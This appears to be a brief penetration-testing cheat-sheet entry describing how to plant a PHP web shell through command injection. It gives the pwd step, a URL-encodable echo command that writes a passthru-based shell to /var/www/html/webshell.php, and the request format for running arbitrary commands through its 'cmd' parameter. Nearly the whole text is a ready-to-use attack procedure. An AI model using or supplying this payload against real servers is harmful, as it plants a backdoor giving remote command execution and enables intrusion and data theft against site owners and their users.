-
First get the current directory:
pwd -
Inject the following based on path from above (URL encode if needed):
echo+"<pre><?php+passthru(\$_GET['cmd']);+?></pre>"+>+/var/www/html/webshell.php -
Use
http://ip/webshell.php?cmd=ls(cmdparameter) to execute command.